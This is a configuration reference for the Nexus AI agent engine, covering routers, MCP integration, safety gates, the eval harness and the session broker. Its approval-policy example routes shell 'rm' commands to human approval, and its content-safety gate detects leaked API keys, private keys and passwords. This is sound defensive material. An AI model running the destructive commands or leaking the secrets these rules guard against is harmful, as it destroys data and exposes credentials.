  • plan.created / plan.progress — generic plan surface mirrored for any UI that already renders ReAct plans.
  • workflow.progress — engine-generic structured progress (see Generic workflow surface below).
  • hitl.requested — human gates and type: human predicates dispatch through HITL.

nexus.skills

Source: plugins/skills/plugin.go. Registers the activate_skill LLM tool.

KeyTypeDefaultDescription
scan_pathslist(empty)Directories scanned for SKILL.md files. No implicit defaults — discovery is gated entirely by this list.
trust_projectstringaskTrust level for project skills: ask, always, never.
max_active_skillsint10Hard cap on concurrently active skills.
catalog_in_system_promptbooltrueInject the skill catalog into the system prompt at priority 50.
disabled_skillslist(empty)Skill names to disable even if discovered.

System

nexus.system.dynvars

Source: plugins/system/dynvars/plugin.go. Registers a system-prompt section at priority 100 that lists runtime variables. Each flag defaults to false — opt-in only.

KeyTypeDefaultDescription
dateboolfalseInclude Current date: YYYY-MM-DD.
timeboolfalseInclude Current time: HH:MM:SS.
timezoneboolfalseInclude the local timezone abbreviation.
cwdboolfalseInclude the engine working directory.
session_dirboolfalseInclude the session workspace root.
osboolfalseInclude os/arch.

Control

nexus.control.cancel

Source: plugins/control/cancel/plugin.go. No configuration. Provides the control.cancel capability used by ReAct and other agents to interrupt in-flight work; also handles the /resume slash command via io.input at priority 5 (ahead of memory plugins).


Routers

Plugins that subscribe before:llm.request and rewrite request.Model based on the request’s metadata, tags, or an LLM-classifier judgment. Routers run at priority 50 (metadata) / 45 (classifier) — above gates, below the engine’s tag seeder. Both stand down when the request already carries _target_provider (a fallback retry) or _routed_by (an upstream rule already chose a model).

nexus.router.metadata

Source: plugins/router/metadata/plugin.go. Declarative rules over the request’s Metadata (_source, task_kind, iteration) and Tags (tenant, project, source_plugin, …). First matching rule wins; the terminal default_model / default_role fires when no rule matches.

KeyTypeDefaultDescription
ruleslist(empty)Ordered rule list. See below.
default_modelstring(none)Fallback model id when no rule matches.
default_rolestring(none)Fallback role when no rule matches.

Each entry under rules:

KeyTypeDefaultDescription
namestringrule#NOptional label recorded on req.Metadata["_routed_rule"].
matchmap(required)Match conditions. Keys: metadata.<key>, tags.<key>, role, model. Values: bare string (equality), or `{lt
usestring(one of)Concrete model id to assign.
rolestring(one of)Role name to assign (resolved against core.models).

nexus.router.classifier

Source: plugins/router/classifier/plugin.go. Small LLM judges the difficulty of the user’s most recent prompt and picks one of candidate_roles. The decision is cached by prompt-prefix hash (LRU). Cache hits rewrite LLMRequest.Role synchronously; misses route to fallback_role immediately and warm the cache asynchronously via a probe llm.request tagged _source: nexus.router.classifier.

KeyTypeDefaultDescription
classifier_rolestring(required)Model role (resolved via core.models) used for the classification probe.
candidate_roleslist(required)Cheapest-first list of model roles the classifier picks among.
fallback_rolestring(none)Model role used on cache miss while the cache warms.
promptstring(default)Classifier prompt template (%s for the candidate-role list and prompt).
prefix_charsint256Number of leading prompt characters folded into the cache key.
cache_classificationbooltrueWhether to cache decisions at all.
cache_max_entriesint1024LRU capacity.
latency_budget_msint800Drop the warm if the probe doesn’t return within this window.

Discovery

nexus.discovery.progressive

Source: plugins/discovery/progressive/plugin.go. Hierarchical tool discovery — the LLM sees class-level summaries and drills into specific classes via a discover meta-tool. Intercepts before:llm.request (priority 8) and tool.invoke (priority 40).

KeyTypeDefaultDescription
scopestringsessionsession, turn, or hybrid.
idle_prune_turnsint5Turns of inactivity before a class is pruned (scope: hybrid only).
classless_behaviorstringincludeinclude (always reveal classless tools) or exclude.
always_includelist(empty)Class names that are always fully revealed.
default_depthstringclassclass (summaries only) or full (all tools).

LLM batch

nexus.llm.batch

Source: plugins/llm/batch/plugin.go. Cross-provider batch coordinator (Anthropic Messages Batches, OpenAI Batch API). Subscribes llm.batch.submit; emits llm.batch.status and llm.batch.results.

KeyTypeDefaultDescription
poll_intervalduration5mHow often to poll provider batch status.
data_dirstring~/.nexus/batchesDirectory for persisted batch state (resumed across restarts).
default_max_tokensint1024Default max_tokens applied when a batched request didn’t pin one.
providers.anthropic.api_keystring(env)Anthropic API key.
providers.anthropic.api_key_envstringANTHROPIC_API_KEYEnv var to read the Anthropic key from.
providers.openai.api_keystring(env)OpenAI API key.
providers.openai.api_key_envstringOPENAI_API_KEYEnv var to read the OpenAI key from.
anthropic_api_key_envstring(none)Backward-compat: flat top-level Anthropic key env var.
openai_api_key_envstring(none)Backward-compat: flat top-level OpenAI key env var.

v1 limitations (intentional): direct-API auth only (no Bedrock/Vertex/Azure); text-only requests (no multimodal/thinking/caching/citations); single-provider per submit; no cancellation API.


MCP integration

nexus.mcp.client

Source: plugins/mcp/client/. Bridges one or more external Model Context Protocol (MCP) servers into Nexus. Tools land in the catalog under mcp__<server>__<tool>, static resources auto-register as no-arg tools, resource templates become parameterised tools, and prompts surface as slash commands. See docs/src/plugins/mcp-client.md for the user-facing guide.

Schema-validated at boot. The plugin ships plugins/mcp/client/schema.json and implements ConfigSchema(), so the engine validates this block before Init runs, with additionalProperties: false at every object level. The tables below are the whole surface: any key not listed is rejected by name. The per-transport requirements (command for stdio, url for http, server for inprocess) are conditional if/then branches in the schema, so a missing key aborts the boot naming the key instead of surfacing later as a connection-phase error from parseServer.

Two constraints the schema deliberately does not carry: duplicate name values across servers[] (a cross-item check JSON Schema cannot express — parseConfig rejects them at parse time), and cross-transport key exclusivity (command, url and server are read unconditionally, so a leftover command on an http server is accepted and ignored, exactly as today).

Top-level keys:

KeyTypeDefaultDescription
serverslist(none)One entry per MCP server. See per-server keys below.
defaultsmap(none)Inherited by every entry in servers unless overridden inline.
aliasesmap<string,string>(none)Optional alias map: short slash command → <server>.<prompt>. Values must be non-empty strings. Aliases use the configured command_prefix chain; e.g. review: gh.review_pr makes /review rewrite to /mcp.gh.review_pr.

defaults

KeyTypeDefaultDescription
lifecyclestringengineWhen servers connect/disconnect. engine = connect on engine boot, disconnect on shutdown. session = connect on io.session.start, disconnect on io.session.end. Only those two values.
timeoutduration string30sPer-RPC timeout used for tools/call, resources/read, prompts/get, etc. Must be a quoted-or-bare duration string (30s, 1m30s). A bare number is rejected at boot: the parser reads this key only through a string type assertion, so timeout: 30 would silently fall back to the default.
command_prefixstringmcpFirst segment of the slash command Nexus registers per prompt. With the default a server named fake and a prompt named greet becomes /mcp.fake.greet. Must be non-empty.
resources.enabledbooltrueToggle the entire resource surface for the server.
resources.auto_register_staticbooltrueWhen true, every static resource becomes a no-arg catalog tool.
resources.auto_register_templatebooltrueWhen true, every resource template becomes a catalog tool whose inputSchema mirrors the template’s variables.
resources.auto_register_maxint ≥ 050If a server returns more static resources than this, the static auto-registration is skipped and only the generic list_resources/read_resource tools are exposed. Unlike timeout, this one is a number — the parser reads it through an int/int64/float64 coercion. Negative values are rejected at boot (the parser would silently ignore them).
resources.subscribe_updatesbooltrueSubscribe to resources/updated for each auto-registered static. Notifications produce mcp.resource.updated events.
prompts.enabledbooltrueToggle the prompt slash-command surface for the server.

servers[]

KeyTypeDefaultDescription
namestring(required)Lowercase alpha-numeric identifier used to namespace every catalog entry and slash command ([a-z0-9][a-z0-9_-]*).
transportstringstdioOne of stdio (subprocess via the SDK), http (streamable HTTP), or inprocess (in-memory transport to a host-registered *mcp.Server).
commandstring(required for stdio)Executable to launch. Resolved on PATH; users wanting ~ expansion can write the full path.
argslist(none)Argument list passed to command.
envmap<string,string>(none)Environment variables exported to the subprocess. ${VAR} references are expanded from the host environment.
env_passthroughlist(none)Names of host environment variables forwarded verbatim (skipped silently when not set on the host).
urlstring(required for http)Base URL of the streamable HTTP MCP endpoint.
headersmap<string,string>(none)HTTP headers attached to every request. ${VAR} references expand from the host environment.
serverstring(required for inprocess)Opaque host-chosen key of a live *mcp.Server the embedding host registered with client.RegisterInProcessServer(key, srv) before engine.Boot(). Must be byte-identical to that key. The connection is wired over an in-memory transport instead of a subprocess or HTTP dial. The registry is process-wide — see the note below.
lifecyclestringinherited from defaultsengine or session.
timeoutduration stringinherited from defaultsOverrides defaults per server. String only — see defaults.timeout.
tools.allowlist(none) (all allowed)If set, only listed raw MCP tool names are forwarded to the catalog.
tools.denylist(none)Raw MCP tool names to drop unconditionally. Deny takes precedence over allow.
resources.*mapinherited from defaultsSame keys as defaults.resources.
prompts.enabledboolinherited from defaultsDisable per server when desired.

transport: inprocess — process-wide key namespace

The registry behind server (RegisterInProcessServer / UnregisterInProcessServer in plugins/mcp/client/injected.go) is a package-level map shared by the whole process, not scoped to an engine, agent, or session. A second registration under an existing key silently replaces the first.

In a host running several engines in one process this is a cross-tenant leak: if tenant A and tenant B both register under host-tools, the map holds whichever registered last, and tenant A’s config — still saying server: host-tools — connects to tenant B’s MCP server. Nothing errors; the tools answer normally against the wrong tenant’s data. Scope keys per tenant or per agent, and derive the YAML server: value from the same identifier used for the registration key.

The key is resolved when the server connects (during Boot for lifecycle: engine, at io.session.start for lifecycle: session), so registration must happen before engine.Boot(). A missing server key fails schema validation at boot; a present but unregistered key does not — boot succeeds and the connect fails with no host-injected server registered under key "…" logged at error, leaving the mcp__<server>__* namespace absent.

Full wiring walkthrough with a runnable Go example: MCP client → In-process servers.

Events

Subscribes:

  • tool.invoke — dispatches MCP tool calls for any registered mcp__<server>__* name.
  • before:io.input — intercepts slash commands; vetoes the original input, then re-emits a fresh io.input whose PreloadMessages carry the expanded prompt.
  • io.session.start / io.session.end — drive lifecycle: session connections.
  • mcp.prompts.list — synchronous query that fills events.MCPPromptsList.Prompts so IO plugins can render /help-style listings.

Emits:

  • tool.register, tool.result, before:tool.result — the catalog projection.
  • io.input — replacement input carrying PreloadMessages after a prompt expansion.
  • io.output — system-role error messages when a slash command fails to parse or dispatch.
  • mcp.resource.updated — fired when a subscribed static resource changes.
  • mcp.tools.refreshed, mcp.prompts.refreshed — bookkeeping events emitted after each per-server reconcile.

Deferred for phase 2 (see issue #98):

  • MCP sampling (server-initiated LLM calls).
  • OAuth dynamic client registration for the HTTP transport.
  • SSE legacy transport.
  • Roots beyond the session files directory.

Apps

nexus.app.helloworld

Source: plugins/apps/helloworld/plugin.go. Built-in placeholder agent / proof-of-concept for the bus-bridge pattern.

KeyTypeDefaultDescription
greetingstringHelloGreeting prefix used when responding to hello.request events.

Gates

Gates are vetoable handlers that subscribe to before:* events and may block or transform them. See .claude/docs/gates.md for the underlying veto mechanics.

Pipeline ordering on before:* events

Handlers on a before:* event run in ascending Priority (lower runs first); dispatch breaks at the first veto. Handlers that share a priority fall back to subscription order — the first Subscribe call runs first, and the bus uses a stable sort so this tiebreak is deterministic across rebuilds and reorders of plugins.active. The engine logs one WARN at boot for every (before:*, priority) tuple shared by two or more handlers — re-space the priorities or accept the registration-order tiebreak knowingly.

The shipped gates encode an explicit policy in their priorities so safety outcomes don’t depend on activation order. The values below are the authoritative pipeline; treat them as a contract when adding a new gate.

before:io.output — mutate-then-veto pipeline:

PriorityGateRole
8nexus.gate.content_safetyRedact (mutate) first, or veto if action=block
9nexus.gate.json_schemaValidate / retry on post-redaction content; may mutate
10nexus.gate.stop_wordsFinal ban check on the content that will ship
12nexus.gate.output_lengthTruncate-retry mutation last

before:llm.request — cheap-structural → mutators → input-scanners → HITL:

PriorityGateRole
6nexus.gate.endless_loopIteration counter; structural exit
7nexus.gate.token_budgetBudget reservation; structural
8nexus.tool.discovery.progressiveMutates tool list (drill-down)
9nexus.gate.rate_limiterPause until quota available
10nexus.gate.tool_filterMutates tool list (allow/block)
11nexus.gate.prompt_injectionPattern-scan input
12nexus.gate.stop_wordsPattern-scan input
13nexus.gate.approval_policyMay trigger HITL — most expensive
15nexus.gate.context_windowCompaction trigger

nexus.gate.endless_loop

Source: plugins/gates/endless_loop/plugin.go.

KeyTypeDefaultDescription
max_iterationsint25Maximum LLM calls per turn (gate-/planner-sourced calls excluded).
warning_atint0Emit a warning when this count is reached (0 disables).

nexus.gate.stop_words

Source: plugins/gates/stop_words/plugin.go. Gates both before:llm.request (user messages) and before:io.output.

KeyTypeDefaultDescription
wordslist(empty)Inline banned words.
word_fileslist(empty)Files of newline-separated words.
case_sensitiveboolfalseCase-sensitive matching.
messagestringContent blocked: contains prohibited terms.Veto message.

nexus.gate.token_budget

Source: plugins/gates/token_budget/plugin.go. Multi-dimensional ceilings (session / tenant / source_plugin) with block, warn, or downgrade-model actions. The legacy single-ceiling shape (max_tokens) still works as a session total-token ceiling.

KeyTypeDefaultDescription
max_tokensint(unset)Backward-compat session total-token ceiling.
messagestringToken budget exhausted for this session.Default veto message for the legacy ceiling.
on_exceedstringblockDefault action when a ceiling fires (block | warn | downgrade-model). Each ceiling can override.
downgrade_candidateslist(empty)Model IDs the downgrade-model action picks the cheapest entry from (priced via pkg/engine/pricing).
pricingmap(merged provider defaults)Per-model overrides applied to the unified pricing table; same shape as the per-provider pricing block.
estimate_factorfloat1.5Multiplier on the prompt-length token estimate the gate deducts upfront at before:llm.request (reserve/commit). Tightens the TOCTOU window under concurrent fan-out by booking estimated headroom before any in-flight request returns; the response handler then subtracts the reservation and adds the actual usage so the net effect is exactly the realized spend. Increase to err on the side of overshoot-prevention; decrease to tolerate more in-flight headroom.
ceilingslist(empty)List of ceiling rules. See below.

Each entry under ceilings:

KeyTypeDefaultDescription
dimensionstringsessionOne of session, tenant, source_plugin.
matchstring(none)For tenant/source_plugin: only this bucket.
windowstringsessionsession (lifetime of the session) or day (rolling UTC midnight).
on_exceedstringtop-level defaultPer-rule override for the gate’s on_exceed.
max_input_tokensint(unset)Veto/downgrade once cumulative input tokens reach this value.
max_output_tokensint(unset)Same for completion tokens.
max_total_tokensint(unset)Same for total tokens.
max_usdfloat(unset)Same for USD spend.
max_usd_per_sessionfloat(unset)Convenience alias for max_usd with window: session.
max_usd_per_dayfloat(unset)Convenience alias for max_usd with window: day.
messagestring(reason)Override message emitted on block/warn.

Tenant ceilings persist via app-scope SQLite (~/.nexus/plugins/nexus.gate.token_budget/store.db). Other dimensions are in-memory per session.

nexus.gate.rate_limiter

Source: plugins/gates/rate_limiter/plugin.go. Vetoes before:llm.request when the per-window budget is exhausted; the agent’s gate.llm.retry subscriber re-issues the request after the limiter signals the budget has freed up. The pre-Phase-3 time.Sleep behavior was removed in alpha — there is no compat shim.

KeyTypeDefaultDescription
modestringrejectreject (veto, schedule a single one-shot retry once the window ages out) or queue (buffer up to queue.max_pending retry slots; a drainer goroutine emits gate.llm.retry at the configured rate; excess is rejected outright).
requests_per_minuteint60Requests allowed per window_seconds.
window_secondsint60Sliding window length.
pause_messagestringRate limit reached. Pausing for {seconds}s...Output template; {seconds} is interpolated.
queue.max_pendingint100Maximum buffered retry slots in mode: queue. Ignored in reject mode.

nexus.gate.tool_timeout

Source: plugins/gates/tool_timeout/plugin.go. Per-call deadline gate. On tool.invoke it starts a timer; on expiry it emits a tool.timeout observability event plus a synthetic tool.result carrying an error message that names the exact override key. A before:tool.result veto suppresses any late real result for the same call ID so the agent’s pendingToolCalls counter stays consistent. Note: Go cancellation is cooperative — the original tool goroutine may keep running until it honors its own context. The gate’s job is to unblock the agent, not preempt the tool.

Per-tool override keys may be exact tool names (web_fetch) or path.Match-style globs (mcp.*). Resolution: an exact key wins; among glob matches the longest pattern wins; otherwise default_timeout applies.

The synthetic error message format is fixed and intended to be read by operators:

tool <name> exceeded timeout <duration>; raise via gates.tool_timeout.per_tool.<name>: <duration>
KeyTypeDefaultDescription
default_timeoutduration string30sApplied when no per_tool key matches.
per_toolmap[string]duration{}Per-tool overrides keyed by exact tool name or path.Match glob.

nexus.gate.prompt_injection

Source: plugins/gates/prompt_injection/plugin.go. Regex-only — no LLM.

KeyTypeDefaultDescription
actionstringblockblock or warn.
patternslist(default set)Inline regex patterns added to defaults.
patterns_filestring(none)File of newline-separated regexes.
messagestringInput blocked: potential prompt injection detected.Block message.

nexus.gate.json_schema

Source: plugins/gates/json_schema/plugin.go. Validates before:io.output against a JSON Schema; on failure, asks the LLM to retry.

KeyTypeDefaultDescription
schemastring | object(required)JSON Schema as inline object or string.
schema_filestring(none)Path to a schema file (takes precedence over schema).
max_retriesint3Retry attempts.
retry_promptstring(default)Retry instruction; supports {schema} and {error} templates.

nexus.gate.output_length

Source: plugins/gates/output_length/plugin.go. Asks the LLM to retry with a shorter response; allows through after exhausted retries (with a warning).

KeyTypeDefaultDescription
max_charsint5000Maximum response length.
max_retriesint2Retry attempts.
retry_promptstring(default)Retry prompt; supports {length} and {limit} templates.

nexus.gate.content_safety

Source: plugins/gates/content_safety/plugin.go. Built-in checks all default to enabled.

KeyTypeDefaultDescription
actionstringblockblock or redact.
messagestringContent blocked: contains sensitive information ({checks}).Block/redact message; {checks} lists triggered checks.
scan_tool_resultsboolfalseAlso subscribe to before:tool.result and apply checks to tool output. Required to cover sub-agent / delegate output (which reaches the parent via tool.result, not io.output). Off by default because legitimate external tools (web_fetch, knowledge_search) often surface phone numbers / addresses that aren’t leaks; enable for orchestrator-style topologies.
check_pii_emailbooltrueDetect email addresses.
check_pii_phonebooltrueDetect phone numbers.
check_pii_ssnbooltrueDetect US SSNs.
check_secrets_api_keybooltrueDetect API-key-like strings.
check_secrets_private_keybooltrueDetect private-key blocks.
check_secrets_passwordbooltrueDetect password-shaped fields.
check_credit_cardbooltrueDetect credit-card numbers.
check_ip_internalbooltrueDetect RFC1918 / internal IPs.
custom_patternslist(empty)Each {name, pattern}.

nexus.gate.context_window

Source: plugins/gates/context_window/plugin.go. Triggers compaction via memory.compact.request when the estimated context approaches the limit.

KeyTypeDefaultDescription
max_context_tokensint100000Provider context window limit.
trigger_ratiofloat0.85Trigger compaction at this fraction (0.0–1.0).
chars_per_tokenfloat4.0Token estimation ratio.

nexus.gate.tool_filter

Source: plugins/gates/tool_filter/plugin.go. Modifies request.ToolFilter on before:llm.request. include takes precedence over exclude.

KeyTypeDefaultDescription
includelist(empty)Allowlist of tool names.
excludelist(empty)Blocklist of tool names.

nexus.gate.approval_policy

Source: plugins/gates/approval_policy/plugin.go. Policy-driven approvals on before:tool.invoke and before:llm.request. The gate evaluates a config-supplied list of rules, and on first match emits a hitl.requested event and blocks waiting on hitl.responded. The operator’s choice resolves to passthrough (allow), veto (reject), or passthrough-with-edits.

KeyTypeDefaultDescription
ruleslist(empty)Ordered list of approval rules. First match wins.

Each rule is a map with the following keys:

KeyTypeDefaultDescription
matchmap(empty)Field/value tests against the action payload. String values are glob (*, ?); dotted keys address nested fields (e.g. args.command).
modestringchoicesOne of free_text, choices, both.
choiceslist(see)List of {id, label, kind} (or bare-string id). When omitted in choices mode, defaults to [{id: allow, kind: allow}, {id: reject, kind: reject}].
default_choicestring(empty)Choice id auto-selected when the timeout elapses. Without a default, a timeout vetoes the action.
promptstring(auto)Go text/template string rendered against the action payload. Falls back to Approve <kind>: <target> when unset (or empty when prompt_synthesizer is set so the synthesizer can fill it in).
prompt_synthesizerstring(none)Capability ID of a registered prompt synthesizer (e.g. hitl.prompt_synthesizer). When set, the gate emits the request with HITLRequest.PromptSynthesizer populated and an empty Prompt, letting the synthesizer render an LLM-authored approval question via the canonical before:hitl.requested entry point.
timeoutstring(none)Go duration (e.g. 5m). When unset, the gate blocks indefinitely.

Match keys recognized by the runtime payload:

  • action_kindtool.invoke or llm.request.
  • tool — the tool name (only meaningful for tool.invoke).
  • args.<dotted> — any nested key inside the tool’s argument map.
  • model — the LLM model id (only meaningful for llm.request).
  • role — the LLM model role (only meaningful for llm.request).

Example:

nexus.gate.approval_policy:
  rules:
    - match: { action_kind: tool.invoke, tool: shell, args.command: "rm*" }
      mode: choices
      choices: [allow, reject]
      timeout: 5m
      default_choice: reject
    - match: { action_kind: llm.request, model: "claude-opus-*" }
      mode: choices
      prompt: "About to call expensive model {{ .model }}. Approve?"

Eval harness

The eval: block configures the offline eval harness invoked via the nexus eval subcommand. The engine itself ignores this block — only cmd/nexus/eval.go reads it. Per-flag overrides on the CLI take precedence over config values, which take precedence over built-in defaults.

eval:
  cases_dir: tests/eval/cases
  reports_dir: tests/eval/reports
  judge:
    model: claude-haiku-4-5
    temperature: 0
    n_samples: 1
    cache: true
  baseline:
    fail_on_score_drop: 0.05
    fail_on_latency_p95_drop: 0.20
KeyTypeDefaultDescription
cases_dirstringtests/eval/casesDirectory containing case bundles (<id>/case.yaml, input/, journal/, assertions.yaml). Path expansion via engine.ExpandPath.
reports_dirstringtests/eval/reportsDirectory where nexus eval run writes per-run report directories (<run-id>/report.json, <run-id>/summary.txt, <run-id>/_sessions/). Path expansion via engine.ExpandPath.
judge.modelstringclaude-haiku-4-5Model used by the LLM judge for --full semantic assertions. Declared in v1; consumed in Phase 5.
judge.temperaturefloat0Judge sampling temperature. Declared in v1; consumed in Phase 5.
judge.n_samplesint1Number of judge samples per assertion; majority-threshold kicks in at >=3. Declared in v1; consumed in Phase 5.
judge.cachebooltrueEnable provider prompt cache for judge calls. Declared in v1; consumed in Phase 5.
baseline.fail_on_score_dropfloat0Absolute pass-rate drop (0–1) that fails nexus eval baseline. 0 disables the gate. CLI flag: --fail-on-score-drop.
baseline.fail_on_latency_p95_dropfloat0Relative latency p95 increase (per case) that fails nexus eval baseline. 0 disables the gate. CLI flag: --fail-on-latency-p95-drop.

Subcommand overview

CommandDescription
nexus eval run [--case <id>] [--cases-dir <path>] [--tags <csv>] [--model <role>] [--deterministic] [--full] [--parallel <n>] [--report-dir <path>] [--config <path>]Run one or all cases under the cases dir; writes a JSON report. Exits 0 on all-pass, 1 if any case failed.
nexus eval baseline --against <path> [--report <path>] [--fail-on-score-drop <f>] [--fail-on-latency-p95-drop <f>] [--out <path>] [--config <path>]Diff a fresh report against a stored baseline; honors thresholds for CI exit codes. --against path can be a report.json file or its containing run-id directory; does not descend a parent that contains multiple runs.
nexus eval promote --session <id-or-path> --case <new-id> [--cases-dir <path>] [--owner <name>] [--tags <csv>] [--description <text>] [--no-edit] [--force] [--config <path>]Convert a real session under ~/.nexus/sessions/ into a deterministic eval case. See docs/src/eval/promotion.md.
nexus eval record --from-session <id-or-path> --case <new-id> [...]Alias of eval promote — same flag set, same behaviour.
nexus eval --inspect-mode [--timeout=DURATION]Single-shot JSON-on-stdin/stdout protocol for external harnesses (Inspect AI, Braintrust, custom CI). Reads one request from stdin, writes one response to stdout. Mutually exclusive with subcommands. Deadline via --timeout flag, NEXUS_EVAL_INSPECT_TIMEOUT env, or 60s default. Wire format documented at docs/src/eval/inspect-protocol.md.

Environment variables

VariableDefaultDescription
NEXUS_EVAL_INSPECT_TIMEOUT60sPer-request deadline for nexus eval --inspect-mode. Parsed as time.Duration (e.g. 30s, 5m). The --timeout flag overrides this; an empty value falls back to the default. Source: cmd/nexus/eval.go:514-537.
NEXUS_EVAL_INSPECT_KEEP_SESSIONS(unset)When set to any non-empty value, retains the per-call temporary sessions root (os.MkdirTemp directory) for debugging instead of deleting it on exit. Off by default — directory is removed after the response is written. Source: pkg/eval/protocol/runner.go:53-60.

Cost CLI

nexus cost report aggregates cost-attribution data from session journals (idea 09). Costs come from llm.response.cost_usd which providers emit using pkg/engine/pricing — the CLI is provider-agnostic.

CommandPurpose
nexus cost report [--session <id>] [--tenant <t>] [--group-by <dim>] [--since <duration>] [--json] [--config <path>]Aggregate llm.response records by tag dimension.

Flags:

  • --session <id> — limit to one session id. Default: every session under sessions.root.
  • --tenant <t> — only Tags["tenant"] == t.
  • --group-by <dim> — one of session_id (default), tenant, project, user, source_plugin, model, task_kind.
  • --since <duration> — only events newer than now - <duration> (e.g. 24h, 7d).
  • --json — emit JSON instead of the default table.

Tags are populated by:

  • The engine’s before:llm.request seeder (session_id, plus tenant/project/user from SessionMeta.Labels).
  • Each llm.request-emitting plugin (source_plugin, plus task_kind on req.Metadata).
  • Plugins routing decisions (_routed_by, _routed_rule, _downgraded_by, _downgraded_from on req.Metadata).

SessionMeta.Labels has a real write path, so tenant/project/user are reachable rather than requiring test code to poke Labels directly. A plugin sets a general-namespace label by emitting the vetoable before:session.tag.set event (events.SessionTagSetRequest{Key, Value}) and deletes one via before:session.tag.delete (events.SessionTagDeleteRequest{Key}); a successful apply persists to metadata/session.json and announces session.tag.set / session.tag.deleted (events.SessionTagSet / events.SessionTagDeleted). See Session Tags for the full mechanism — the reserved-namespace split, the four event types, and who writes what.

Any key starting with _ is reserved (host-only) and is rejected unconditionally on this path — engine.IsReservedLabelKey is the shared definition of that prefix. The only way to write a reserved key (e.g. the identity binding _principal_id) is the direct Go method SessionWorkspace.SetReservedLabel/DeleteReservedLabel, which is not exposed on the bus. A second direct (non-bus) method, SessionWorkspace.SetLabel, writes a general-namespace key with no veto hop for a caller that already sits on trusted, already-authenticated, already-decoded input — nexus.io.agui’s startRun/resumeRun use it to write each RunAgentInput.context item as a general tag. It rejects a reserved key just as the bus path does, so it cannot become a second way into the reserved namespace.


Session broker (nexus-broker)

The nexus-broker binary (cmd/nexus-broker) is a standalone service, not an engine plugin. It reads its own YAML config file (default path broker.yaml, override with -config <path>) and fronts OS-isolated Nexus instances behind an HTTP/WebSocket gateway.

# broker.yaml
listen_addr: ":8080"
advertise_addr: ""            # required behind a proxy/LB; see below

# The named registry of nexus variants this broker may spawn. The `nexus` entry
# always exists — declare it to override its path, omit it to take the default.
binaries:
  nexus:
    path: "nexus"
  vision:
    path: "/opt/nexus/bin/nexus-vision"
    label: "Nexus (vision)"
    description: "Multimodal build with the image tools compiled in"
    args: ["-profile", "vision"]
    env:
      NEXUS_VISION: "1"

# Optional. Variables a spawn inherits from the BROKER'S own environment, by
# name. A spawn is otherwise built from scratch — no wildcard is supported.
inherit_env:
  - ANTHROPIC_API_KEY

# Optional. Default OS credential for entries that declare none. Needs a
# privileged broker (root, or CAP_SETUID and CAP_SETGID).
# run_as:
#   uid: 1500
#   gid: 1500

max_concurrent: 8             # a HEADCOUNT, not a resource budget; see below
client_replay_buffer_bytes: 1048576   # per-lease client-bound replay retention (1 MiB)
idle_timeout: 5m
max_turn_duration: 30m        # bound on an in-flight turn; <=0 disables the bound
queue_wait_timeout: 30s
max_queue_depth: 64           # ceiling on parked over-capacity claims; <=0 = unlimited
max_leases_per_principal: 0   # 0 = off; needs `auth:` to have any effect
max_queued_per_principal: 0   # 0 = off; needs `auth:` to have any effect
release_grace: 10s
ready_timeout: 30s            # ceiling on instance BOOT; raise it for a slow-starting config
session_report_grace: 5s      # post-ready wait for the instance's session id
max_claim_body: 1048576       # ceiling on the claim request body (1 MiB); it carries the whole config
state_dir: ""                 # empty = lease state is in-memory only; see below
broker_id: ""                 # empty = generated once and persisted in state_dir
reattach_window: 60s          # how long a lease restored after a restart waits for its instance

# Optional. The A2A front door: one public agent per profile. Omit the whole
# block and the broker has no A2A ingress, exactly as before.
agents:
  support:
    binary: nexus               # optional; omitted means the reserved `nexus` entry
    config: "~/agents/support.yaml"
    card:
      name: "Support Agent"
      description: "Answers customer questions from the product knowledge base."
      version: "1.2.0"
      skills:
        - id: "answer"
          name: "Answer questions"
          description: "Answers a customer question and cites its sources."

# Optional. Settings every `agents:` profile shares. Omit it and the defaults
# below apply.
a2a:
  tasks:
    ttl: 24h                  # how long a finished task stays readable
    max_per_context: 50       # how many tasks are kept per caller+conversation
    input_timeout: 15m        # how long a task may wait at INPUT_REQUIRED

# Optional. Omit the whole block to run the broker unauthenticated.
auth:
  admin_scope: "nexus.broker.admin"   # scope that unlocks the operator view of GET /leases
  validators:
    - type: static
      tokens:
        - token: "replace-me"
          principal: "ci-runner"
          tenant: "acme"
          scopes: "broker.claim broker.release"   # whitespace-separated, or a YAML list
KeyTypeDefaultDescription
listen_addrstring:8080host:port the broker’s HTTP/WS gateway binds to. GET /healthz returns {"status":"ok"}.
advertise_addrstring(empty)The address clients use to reach this broker, and the highest-precedence input to the ws_url returned by POST /claim. Accepts a bare host:port (implying ws://) or a scheme-qualified ws://, wss://, http:// or https:// host — the port is optional in that form, and http/https are normalized to ws/wss. Required whenever the broker sits behind a reverse proxy or load balancer, or whenever listen_addr uses a wildcard/empty host (:8080, 0.0.0.0:8080, [::]:8080): without it the ws_url is derived from the claim request’s Host header, which then names the proxy rather than the broker holding the lease. Validated at boot — a value with no port, a wildcard host (0.0.0.0, ::), an unsupported scheme, or any path/query/fragment/userinfo fails startup. Leave it empty for a directly-reachable broker; the ws_url then resolves exactly as it did before this key existed. See ws_url resolution below.
binariesmap(synthesized)The registry of named nexus variants this broker may spawn, keyed by the name a claim selects. Entry fields are listed under Binary registry below. After a successful load the registry always contains a nexus entry — the name is reserved and an operator’s block can add to the registry but cannot remove it. Omit the key entirely and the registry is synthesized as a single nexus entry with path nexus, which is exactly the pre-registry behaviour. Validated at boot: an entry with an empty name, an empty/missing path, or a name that collides with another after trimming fails startup, and so does any entry whose path does not resolve to an executable file — see Binary resolution below.
inherit_envlist of string(empty)The variables a spawned instance inherits from the broker’s own environment, by name only. A spawn carries the always-pass set (HOME, LANG, PATH, TZ), everything named here that the broker process actually holds, its entry’s env, and the three broker-owned NEXUS_BROKER_* variables — and nothing else. Empty (the default) means an instance carries no provider credential from the broker’s shell, which is a deliberate break with the earlier behaviour of passing os.Environ() through wholesale; see Instance environment below and the guide’s migration note. Entries are trimmed, de-duplicated and sorted at load. An empty entry, a NAME=value pair (this key forwards a variable, it does not set one — use binaries.<name>.env for that) or a NEXUS_BROKER_* name (injected by the broker on every spawn, so declaring it does nothing) is a boot failure naming the key. A declared name the broker does not hold is not an error: it is skipped, omitted from the per-entry boot log line, and named once in a startup WARN.
run_asmap(absent)The default OS credential spawned instances run under — uid and gid, both required whenever the block is written — for every binaries: entry that does not declare its own. Absent (the default) means instances run as the broker’s own uid and gid, exactly as they always have, and the spawn is byte-identical to what it was before this key existed. An entry’s run_as replaces this outright rather than merging field by field. Validated at boot: a block with only one of the two fields, a negative id, or an id above 4294967295 fails startup naming the key (and, for an entry, the entry). Requires the broker to run as root or hold CAP_SETUID and CAP_SETGID; otherwise every claim selecting such an entry fails to spawn. See Running instances as another user below.
